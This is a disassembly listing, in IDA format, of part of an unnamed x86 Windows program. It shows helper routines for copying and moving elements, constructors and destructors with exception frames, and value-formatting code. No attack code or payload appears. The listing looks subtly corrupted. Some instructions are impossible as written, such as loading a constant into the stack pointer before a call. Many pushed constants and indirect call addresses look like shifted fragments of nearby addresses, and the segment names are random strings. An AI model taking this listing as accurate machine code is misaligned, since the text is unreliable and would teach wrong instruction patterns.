loc_40A61B: ; CODE XREF: sub_40A550+17j
mov ebx, [esp+10h+arg_0]
mov edx, eax
sub edx, ebx
sar edx, 2
cmp edx, edi
jnb short loc_40A679
lea ebp, ds:0[edi*4]
lea ecx, [ebx+ebp]
push ecx
push eax
push ebx
mov ecx, esi
call sub_4010B9
mov eax, [esi+8]
mov edx, [esp+10h+arg_8]
mov ecx, eax
push edx
sub ecx, ebx
sar ecx, 2
sub edi, ecx
mov ecx, esi
push edi
push eax
call sub_401FE6
mov edx, [esp+10h+arg_8]
mov eax, [esi+8]
push edx
push eax
push ebx
call sub_401D34
mov eax, [esi+8]
add esp, 0Ch
add eax, ebp
mov [esi+8], eax
pop edi
pop esi
pop ebp
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
loc_40A679: ; CODE XREF: sub_40A550+D8j
test edi, edi
jbe short loc_40A6B3
shl edi, 2
push eax
push eax
sub eax, edi
mov ecx, esi
push eax
call sub_4010B9
mov eax, [esi+8]
push eax
sub eax, edi
push eax
push ebx
call sub_401F37
mov ecx, [esp+1Ch+arg_8]
lea edx, [edi+ebx]
push ecx
push edx
push ebx
call sub_401D34
mov eax, [esi+8]
add esp, 18h
add eax, edi
mov [esi+8], eax
loc_40A6B3: ; CODE XREF: sub_40A550+12Bj
pop edi
pop esi
pop ebp
pop ebx
retn 0Ch
sub_40A550 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A720 proc near ; CODE XREF: sub_4017E4j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call j_nullsub_1
pop ecx
retn 4
sub_40A720 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A740 proc near ; CODE XREF: sub_4010B9j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push ebp
mov ebp, [esp+8+arg_4]
push esi
mov esi, [esp+0Ch+arg_0]
mov ebx, ecx
cmp esi, ebp
jz short loc_40A772
push edi
mov edi, [esp+10h+arg_8]
loc_40A756: ; CODE XREF: sub_40A740+27j
push esi
push edi
mov ecx, ebx
call sub_401F96
add esi, 4
add edi, 4
cmp esi, ebp
jnz short loc_40A756
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
loc_40A772: ; CODE XREF: sub_40A740+Fj
mov eax, [esp+0Ch+arg_8]
pop esi
pop ebp
pop ebx
retn 0Ch
sub_40A740 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A790 proc near ; CODE XREF: sub_401FE6j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebp
push edi
mov edi, [esp+8+arg_4]
mov ebp, ecx
test edi, edi
jbe short loc_40A7B7
push ebx
mov ebx, [esp+0Ch+arg_8]
push esi
mov esi, [esp+10h+arg_0]
loc_40A7A6: ; CODE XREF: sub_40A790+23j
push ebx
push esi
mov ecx, ebp
call sub_401F96
add esi, 4
dec edi
jnz short loc_40A7A6
pop esi
pop ebx
loc_40A7B7: ; CODE XREF: sub_40A790+Aj
pop edi
pop ebp
retn 0Ch
sub_40A790 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A7D0 proc near ; CODE XREF: sub_401CA3j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401474
add esp, 8
retn 8
sub_40A7D0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A800 proc near ; CODE XREF: sub_401F96j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_401CBC
add esp, 8
retn 8
sub_40A800 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A830 proc near ; CODE XREF: sub_401D34j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
mov ecx, [esp+arg_4]
cmp eax, ecx
jz short locret_40A84D
mov edx, [esp+arg_8]
push esi
loc_40A841: ; CODE XREF: sub_40A830+1Aj
mov esi, [edx]
mov [eax], esi
add eax, 4
cmp eax, ecx
jnz short loc_40A841
pop esi
locret_40A84D: ; CODE XREF: sub_40A830+Aj
retn
sub_40A830 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A860 proc near ; CODE XREF: sub_401F37j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_0]
mov ecx, [esp+arg_4]
cmp edx, ecx
jz short loc_40A882
mov eax, [esp+arg_8]
push esi
loc_40A871: ; CODE XREF: sub_40A860+1Ej
mov esi, [ecx-4]
sub ecx, 4
sub eax, 4
cmp ecx, edx
mov [eax], esi
jnz short loc_40A871
pop esi
retn
; ---------------------------------------------------------------------------
loc_40A882: ; CODE XREF: sub_40A860+Aj
mov eax, [esp+arg_8]
retn
sub_40A860 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
byte_40A890 db 10h dup(0CCh) ; DATA XREF: _5AD6BD6B:0043D56Co
; _5AD6BD6B:0043D5B0o ...
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A8C0 proc near ; CODE XREF: sub_401474j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jge short loc_40A8CA
xor eax, eax
loc_40A8CA: ; CODE XREF: sub_40A8C0+6j
shl eax, 2
push eax
call sub_43034A
add esp, 4
retn
sub_40A8C0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A8F0 proc near ; CODE XREF: sub_401CBCj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push eax
push 4
call sub_4011A4
add esp, 8
test eax, eax
jz short locret_40A90B
mov ecx, [esp+arg_4]
mov edx, [ecx]
mov [eax], edx
locret_40A90B: ; CODE XREF: sub_40A8F0+11j
retn
sub_40A8F0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A920 proc near ; CODE XREF: sub_401D2Fj
mov eax, ecx
mov dword ptr [eax], offset off_437014
retn
sub_40A920 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40A940: ; CODE XREF: _294ADE7B:0040167Cj
; _294ADE7B:loc_401EC4j
push esi
mov esi, ecx
call sub_401EC9
test byte ptr [esp+8], 1
jz short loc_40A958
push esi
call sub_430332
add esp, 4
loc_40A958: ; CODE XREF: _294ADE7B:0040A94Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A970 proc near ; CODE XREF: sub_401EC9j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push 740E8Bh
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ebx
push esi
push edi
mov dword ptr [ecx], offset off_437014
mov [ebp+var_10], esp
mov [ebp+var_4], 0
call sub_4016A4
mov ecx, [ebp+var_C]
pop edi
pop esi
mov large fs:0, ecx
pop ebx
mov esp, ebp
pop ebp
retn
sub_40A970 endp
; =============== S U B R O U T I N E =======================================
sub_40A9B2 proc near ; DATA XREF: _8C6BDE73:004380CCo
mov ecx, 740E8h
retn
sub_40A9B2 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A9E0 proc near ; CODE XREF: sub_401460j
call sub_401672
jmp sub_4016F9
sub_40A9E0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40AA00 proc near ; CODE XREF: sub_401A2Dj
call sub_4015A0
jmp sub_401708
sub_40AA00 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40AA20 proc near ; CODE XREF: sub_40137Fj
push esi
mov esi, ecx
push esi
push 0BA074h
lea eax, [esi+0Ch]
push 0
push eax
call sub_40120D
add esp, 10h
test eax, eax
jnz short loc_40AA42
mov al, 1
mov [esi+10h], al
pop esi
retn
; ---------------------------------------------------------------------------
loc_40AA42: ; CODE XREF: sub_40AA20+19j
mov byte ptr [esi+10h], 0
xor al, al
pop esi
retn
sub_40AA20 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40AA60: ; CODE XREF: _294ADE7B:0040119Aj
push ecx
push esi
mov esi, ecx
mov al, [esi+10h]
test al, al
jz short loc_40AA87
mov ecx, [esi+0Ch]
lea eax, [esp+4]
push eax
push ecx
call sub_4016B8
mov eax, [esp+0Ch]
add esp, 8
mov byte ptr [esi+10h], 0
pop esi
pop ecx
retn
; ---------------------------------------------------------------------------
loc_40AA87: ; CODE XREF: _294ADE7B:0040AA69j
xor eax, eax
pop esi
pop ecx
retn
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40AAA0 proc near ; CODE XREF: sub_4016A4j
push esi
mov esi, ecx
mov al, [esi+10h]
test al, al
jz short loc_40AABC
mov eax, [esi+0Ch]
push 0Fh
push eax
call sub_4016B3
add esp, 8
mov byte ptr [esi+10h], 0
loc_40AABC: ; CODE XREF: sub_40AAA0+8j
pop esi
retn
sub_40AAA0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40AAD0: ; CODE XREF: _294ADE7B:004011CCj
mov eax, [ecx+0Ch]
retn
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40AAF0: ; CODE XREF: _294ADE7B:004013CAj
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset word_45D03A
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov ecx, [ebp+8]
push ebx
push esi
push edi
mov eax, [ecx]
mov [ebp-10h], esp
mov dword ptr [ebp-4], 0
call dword ptr [eax+4]
mov ecx, [ebp-0Ch]
pop edi
pop esi
xor eax, eax
mov large fs:0, ecx
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
loc_40AB31: ; DATA XREF: _8C6BDE73:0043812Co
mov edi, 0AC5D03h
retn
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40AB60 proc near ; CODE XREF: sub_401028j
var_8 = dword ptr -8
var_4 = byte ptr -4
sub esp, 8
push esi
mov esi, ecx
mov al, [esi+10h]
test al, al
jz short loc_40ABA2
mov edx, [esi+0Ch]
lea eax, [esp+0Ch+var_8]
lea ecx, [esp+0Ch+var_4]
push eax
push ecx
push edx
call sub_402004
mov edx, [esi+0Ch]
mov eax, [esp+18h+var_8]
lea ecx, [esp+18h+var_8]
mov [esi+8], eax
push ecx
push 1
push edx
mov [esp+24h+var_8], 0
call sub_40104B
add esp, 18h
loc_40ABA2: ; CODE XREF: sub_40AB60+Bj
pop esi
add esp, 8
retn
sub_40AB60 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40ABD0 proc near ; CODE XREF: sub_401C9Ej
var_4 = dword ptr -4
push ecx
mov al, [ecx+10h]
test al, al
jz short loc_40ABF2
mov eax, [ecx+8]
lea edx, [esp+4+var_4]
mov [esp+4+var_4], eax
mov eax, [ecx+0Ch]
push edx
push 1
push eax
call sub_40104B
add esp, 0Ch
loc_40ABF2: ; CODE XREF: sub_40ABD0+6j
pop ecx
retn
sub_40ABD0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40AC10 proc near ; CODE XREF: sub_401915j
var_12 = byte ptr -12h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push 562E81h
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push esi
mov esi, ecx
push edi
mov [esp+1Ch+var_10], esi
call sub_401190
lea ecx, [esi+4]
call sub_4016A9
lea ecx, [esi+32h]
mov [esp+1Ch+var_4], 0
call sub_4016A9
lea ecx, [esi+60h]
mov byte ptr [esp+1Ch+var_4], 1
call sub_4016A9
lea edi, [esi+8Eh]
lea eax, [esp+0Bh]
push eax
mov ecx, edi
mov byte ptr [esp+20h+var_4], 2
call sub_401AF0
mov ecx, edi
mov byte ptr [esp+1Ch+var_4], 3
mov dword ptr [esi], offset off_437020
call sub_401AEB
mov ecx, [esp+1Ch+var_C]
mov eax, esi
pop edi
pop esi
mov large fs:0, ecx
add esp, 14h
retn
sub_40AC10 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40ACD0 proc near ; CODE XREF: sub_401A05j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push 6B1740h
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
push edi
mov [esp+18h+var_10], esi
mov dword ptr [esi], offset off_437020
lea edi, [esi+8Eh]
mov [esp+18h+var_4], 3
mov ecx, edi
call sub_401AEB
mov ecx, edi
mov byte ptr [esp+18h+var_4], 2
call sub_4014EC
lea ecx, [esi+60h]
mov byte ptr [esp+18h+var_4], 1
call sub_401023
lea ecx, [esi+32h]
mov byte ptr [esp+18h+var_4], 0
call sub_401023
lea ecx, [esi+4]
mov [esp+18h+var_4], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+18h+var_C]
pop edi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_40ACD0 endp
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40AD70 proc near ; CODE XREF: sub_401730j
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push 758BA0h
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
mov esi, ecx
lea ecx, [esi+8Eh]
call sub_401AEB
push 0
push 14h
push 13h
push 9
push 0Ch
push 4Eh
push 12h
push 1
push 16h
lea eax, [esp+64h+var_3C]
push 3
push eax
call sub_4018DE
add esp, 2Ch
push esi
mov ecx, eax
mov [esp+44h+var_4], 0
call sub_401726
lea ecx, [esi+4]
push eax
push ecx
mov edi, 8A758Bh
call sub_401523
lea ecx, [esp+40h+var_3C]
mov [esp+40h+var_4], 0FFFFFFFFh
call sub_4011F9
push 0
push 14h
push 5
push 7
push 4Fh
push 12h
push 1
push 16h
lea edx, [esp+60h+var_3C]
push 3
push edx
call sub_4018DE
add esp, 28h
push esi
mov ecx, eax
mov [esp+44h+var_4], 1
call sub_401726
push eax
lea eax, [esi+32h]
push eax
mov ecx, 28A758h
call sub_401523
lea ecx, [esp+40h+var_3C]
mov [esp+40h+var_4], 0FFFFFFFFh
call sub_4011F9
push 0
push 14h
push 5
push 13h
push 4Eh
push 12h
push 1
push 16h
lea ecx, [esp+60h+var_24]
push 3
push ecx
call sub_4018DE
add esp, 28h
push esi
mov ecx, eax
mov [esp+44h+var_4], 2
call sub_401726
add esi, 60h
push eax
push esi
mov edx, offset byte_44A29D
call sub_401523
mov [esp+40h+var_4], 0FFFFFFFFh
lea ecx, [esp+40h+var_24]
call sub_4011F9
mov ecx, [esp+40h+var_C]
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
sub_40AD70 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40AEF0 proc near ; CODE XREF: sub_401753j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = byte ptr 14h
arg_14 = byte ptr 18h
arg_18 = dword ptr 1Ch
mov eax, [esp+arg_4]
push esi
mov esi, ecx
push edi
mov ecx, [esp+8+arg_0]
push eax
add ecx, 1Eh
call sub_401E65
mov eax, [esp+8+arg_0]
mov edx, [esp+8+arg_C]
push edx
lea ecx, [eax+33h]
call sub_401E65
mov ecx, [esp+8+arg_0]
mov dl, [esp+8+arg_10]
mov edi, [esp+8+arg_8]
mov [ecx+48h], dl
mov eax, [esp+8+arg_0]
push edi
push eax
mov ecx, esi
call sub_401DED
mov ecx, [esp+8+arg_0]
mov dl, [esp+8+arg_14]
push edi
mov [ecx+4], dl
mov eax, [esp+0Ch+arg_0]
mov ecx, [esp+0Ch+arg_18]
mov [eax+5], ecx
mov ecx, [esp+0Ch+arg_0]
call sub_401E65
lea edx, [esp+8+arg_0]
lea ecx, [esi+8Eh]
push edx
call sub_40182F
pop edi
pop esi
retn 1Ch
sub_40AEF0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40AF90 proc near ; CODE XREF: sub_401A69j
var_54 = byte ptr -54h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
arg_14 = dword ptr 18h
arg_18 = dword ptr 1Ch
push 0FFFFFFFFh
push 22514Eh
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 48h
mov eax, [esp+54h+arg_C]
push ebp
push esi
mov esi, ecx
push edi
push eax
lea ecx, [esp+64h+var_24]
call sub_4017A8
mov edi, eax
mov ecx, [esp+60h+arg_8]
mov [esp+60h+var_4], 0
push ecx
lea ecx, [esp+64h+var_3C]
call sub_4017A8
mov ebp, eax
mov edx, [esp+60h+arg_4]
lea ecx, [esp+60h+var_54]
push edx
mov byte ptr [esp+64h+var_4], 1
call sub_4017A8
mov ecx, [esp+60h+arg_18]
mov edx, [esp+60h+arg_14]
push ecx
mov ecx, [esp+64h+arg_10]
push edx
mov edx, [esp+68h+arg_0]
push ecx
push edi
push ebp
push eax
push edx
mov ecx, esi
mov byte ptr [esp+7Ch+var_4], 2
call sub_401753
lea ecx, [esp+60h+var_54]
mov byte ptr [esp+60h+var_4], 1
call sub_4011F9
lea ecx, [esp+60h+var_3C]
mov byte ptr [esp+60h+var_4], 0
call sub_4011F9
lea ecx, [esp+60h+var_24]
mov [esp+60h+var_4], 0FFFFFFFFh
call sub_4011F9
mov ecx, [esp+60h+var_C]
pop edi
pop esi
pop ebp
mov large fs:0, ecx
add esp, 54h
retn 1Ch
sub_40AF90 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40B080 proc near ; CODE XREF: sub_4018F7j
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
sub esp, 8
push esi
mov esi, ecx
push edi
lea ecx, [esp+10h+var_8]
call sub_4014D3
add esi, 8Eh
lea eax, [esp+10h+var_4]
push eax
mov ecx, esi
call sub_4013FC
mov ecx, [eax]
lea edx, [esp+10h+var_4]
mov [esp+10h+var_8], ecx
push edx
mov ecx, esi
call sub_401B54
push eax
lea ecx, [esp+14h+var_8]
call sub_401320
test al, al
jz short loc_40B101
mov edi, [esp+10h+arg_0]
loc_40B0C6: ; CODE XREF: sub_40B080+7Fj
push edi
lea ecx, [esp+14h+var_8]
call sub_401E10
mov ecx, [eax]
add ecx, 1Eh
call sub_40201D
test eax, eax
lea ecx, [esp+10h+var_8]
jz short loc_40B10B
call sub_4012FD
lea eax, [esp+10h+var_4]
mov ecx, esi
push eax
call sub_401B54
push eax
lea ecx, [esp+14h+var_8]
call sub_401320
test al, al
jnz short loc_40B0C6
loc_40B101: ; CODE XREF: sub_40B080+40j
pop edi
xor eax, eax
pop esi
add esp, 8
retn 8
; ---------------------------------------------------------------------------
loc_40B10B: ; CODE XREF: sub_40B080+60j
call sub_401E10
mov eax, [eax]
pop edi
pop esi
add esp, 8
retn 8
sub_40B080 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40B150: ; CODE XREF: _294ADE7B:00401401j
push 0FFFFFFFFh
push 1128A7h
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
mov eax, [esp+28h]
push esi
mov esi, ecx
push eax
lea ecx, [esp+8]
call sub_4017A8
mov ecx, [esp+30h]
mov dword ptr [esp+24h], 0
push ecx
push eax
mov ecx, esi
call sub_4018F7
lea ecx, [esp+4]
mov esi, eax
mov dword ptr [esp+24h], 0FFFFFFFFh
call sub_4011F9
mov ecx, [esp+1Ch]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 24h
retn 8
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40B1E0 proc near ; CODE XREF: sub_401528j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
mov esi, [esp+4+arg_0]
push eax
mov ecx, esi
call sub_401564
mov ecx, esi
call sub_401726
push eax
call dword ptr ds:89453h
fstp dword ptr [esi+15h]
add esp, 4
mov ecx, esi
call sub_401726
push eax
call dword ptr ds:44A29h
add esp, 4
mov ecx, esi
mov [esi+1Ah], eax
mov byte ptr [esi+19h], 0
push 22514h
call sub_4012B7
test eax, eax
jnz short loc_40B231
mov byte ptr [esi+19h], 1
loc_40B231: ; CODE XREF: sub_40B1E0+4Bj
pop esi
retn 8
sub_40B1E0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40B260 proc near ; CODE XREF: sub_401DEDj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
mov edi, [esp+8+arg_4]
mov ecx, esi
mov eax, [edi+9]
push eax
call sub_401564
mov ecx, esi
call sub_401726
push eax
call dword_41128A
fstp dword ptr [esi+15h]
add esp, 4
mov ecx, esi
call sub_401726
push eax
call dword ptr ds:608945h
add esp, 4
mov ecx, esi
mov [esi+1Ah], eax
mov byte ptr [esi+19h], 0
push 7044A2h
call sub_4012B7
test eax, eax
jnz short loc_40B2B5
mov byte ptr [esi+19h], 1
loc_40B2B5: ; CODE XREF: sub_40B260+4Fj
mov cl, [edi+4]
mov [esi+4], cl
mov edx, [edi+5]
mov [esi+5], edx
pop edi
pop esi
retn 8
sub_40B260 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40B2F0: ; CODE XREF: _294ADE7B:00401C1Cj
fld dword ptr [esp+8]
push esi
mov esi, [esp+8]
sub esp, 8
fstp qword ptr [esp]
push 382251h
push esi
call sub_40102D
mov eax, [esp+1Ch]
add esp, 10h
mov ecx, esi
mov [esi+15h], eax
call sub_401726
push eax
call dword ptr ds:1C1128h
fld dword ptr [esp+10h]
fcomp ds:flt_437024
mov [esi+1Ah], eax
add esp, 4
mov byte ptr [esi+19h], 0
fnstsw ax
test ah, 1
jnz short loc_40B341
mov byte ptr [esi+19h], 1
loc_40B341: ; CODE XREF: _294ADE7B:0040B33Bj
pop esi
retn 8
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40B370: ; CODE XREF: _294ADE7B:00401B77j
push ebx
mov bl, [esp+0Ch]
test bl, bl
push esi
jz short loc_40B3A0
mov esi, [esp+0Ch]
push 4E0894h
mov ecx, esi
call sub_401564
mov dword ptr [esi+15h], 3F800000h
mov dword ptr [esi+1Ah], 1
mov [esi+19h], bl
pop esi
pop ebx
retn 8
; ---------------------------------------------------------------------------
loc_40B3A0: ; CODE XREF: _294ADE7B:0040B378j
mov esi, [esp+0Ch]
push 67044Ah
mov ecx, esi
call sub_401564
xor eax, eax
mov [esi+19h], bl
mov [esi+15h], eax
mov [esi+1Ah], eax
pop esi
pop ebx
retn 8
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40B3E0: ; CODE XREF: _294ADE7B:00401C44j
push esi
mov esi, [esp+8]
push edi
mov edi, [esp+10h]
push edi
push 338225h
push esi
call sub_40102D
fild dword ptr [esp+1Ch]
add esp, 0Ch
cmp edi, 1
mov [esi+1Ah], edi
mov byte ptr [esi+19h], 0
fstp dword ptr [esi+15h]
jl short loc_40B410
mov byte ptr [esi+19h], 1
loc_40B410: ; CODE XREF: _294ADE7B:0040B40Aj
pop edi
pop esi
retn 8
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40B430: ; CODE XREF: _294ADE7B:loc_4019ECj
mov eax, large fs:0
push 0FFFFFFFFh
push 59C112h
push eax
mov large fs:0, esp
sub esp, 4Ch
push ebx
push ebp
push esi
mov esi, [esp+68h]
mov ebp, ecx
push edi
lea edi, [esi+7Eh]
lea ecx, [ebp+4]
call sub_401479
push eax
mov ecx, edi
call sub_4012B7
test eax, eax
jnz loc_40B572
lea ebx, [esi+69h]
mov ecx, ebx
call sub_401479
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push 2CE089h
push eax
push ecx
mov esp, 8EB382h
call sub_4010FF
lea ecx, [esp+6Ch]
call sub_4014D3
add ebp, 8Eh
lea edx, [esp+10h]
push edx
mov ecx, ebp
xor edi, edi
call sub_4013FC
mov eax, [eax]
lea ecx, [esp+10h]
push ecx
mov ecx, ebp
mov [esp+70h], eax
call sub_401B54
push eax
lea ecx, [esp+70h]
call sub_401320
test al, al
jz loc_40B56B
loc_40B4D6: ; CODE XREF: _294ADE7B:0040B565j
lea ecx, [esp+6Ch]
inc edi
call sub_401E10
mov ecx, [eax]
add ecx, 33h
call sub_401726
push eax
lea ecx, [esp+70h]
call sub_401E10
mov ecx, [eax]
call sub_401726
push eax
lea ecx, [esp+74h]
call sub_401E10
mov ecx, [eax]
add ecx, 1Eh
call sub_401726
push eax
push edi
push 4F59C1h
mov ecx, ebx
call sub_401479
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push 67ACE0h
call sub_40178F
add esp, 24h
push 73D670h
call dword ptr ds:39EB38h
lea ecx, [esp+6Ch]
call sub_4012FD
lea ecx, [esp+10h]
push ecx
mov ecx, ebp
call sub_401B54
push eax
lea ecx, [esp+70h]
call sub_401320
test al, al
jnz loc_40B4D6
loc_40B56B: ; CODE XREF: _294ADE7B:0040B4D0j
mov al, 1
jmp loc_40B6FA
; ---------------------------------------------------------------------------
loc_40B572: ; CODE XREF: _294ADE7B:0040B467j
lea ecx, [ebp+32h]
call sub_401726
push eax
mov ecx, edi
call sub_4012B7
test eax, eax
jnz short loc_40B605
push 1CF59Ch
lea edx, [esp+30h]
push 1
push edx
mov ecx, esi
call sub_401622
push 1
push eax
mov ecx, ebp
mov dword ptr [esp+6Ch], 0
call sub_4018F7
lea ecx, [esp+2Ch]
mov edi, eax
mov dword ptr [esp+64h], 0FFFFFFFFh
call sub_4011F9
test edi, edi
jz loc_40B6F8
mov ecx, edi
call sub_401726
push eax
lea ecx, [edi+1Eh]
call sub_401726
push eax
push 4E7ACEh
lea ecx, [esi+69h]
call sub_401479
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
push 673D67h
call sub_40178F
add esp, 1Ch
jmp loc_40B6FA
; ---------------------------------------------------------------------------
loc_40B605: ; CODE XREF: _294ADE7B:0040B584j
lea ecx, [ebp+60h]
call sub_401479
push eax
mov ecx, edi
call sub_4012B7
test eax, eax
jnz loc_40B6F8
push 339EB3h
lea edx, [esp+30h]
push 1
push edx
mov ecx, esi
call sub_401622
push 1
push eax
mov ecx, ebp
mov dword ptr [esp+6Ch], 1
call sub_4018F7
lea ecx, [esp+2Ch]
mov edi, eax
mov dword ptr [esp+64h], 0FFFFFFFFh
call sub_4011F9
test edi, edi
jz loc_40B6F8
push edi
lea ecx, [esp+18h]
call sub_40146F
mov esi, 8B39EBh
push 1
push 4D9CF5h
lea eax, [esp+4Ch]
push ebx
push eax
mov ecx, esi
mov [esp+74h], ebx
call sub_4011C2
push eax
push edi
mov ecx, ebp
mov byte ptr [esp+6Ch], 3
call sub_401DED
lea ecx, [esp+44h]
mov [esp+64h], bl
call sub_4011F9
lea ecx, [esp+14h]
call sub_401726
push eax
mov ecx, edi
call sub_401726
push eax
lea ecx, [edi+1Eh]
call sub_401726
push eax
push 26CE7Ah
lea ecx, [esi+69h]
call sub_401479
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
push 13673Dh
call sub_40178F
add esp, 20h
lea ecx, [esp+14h]
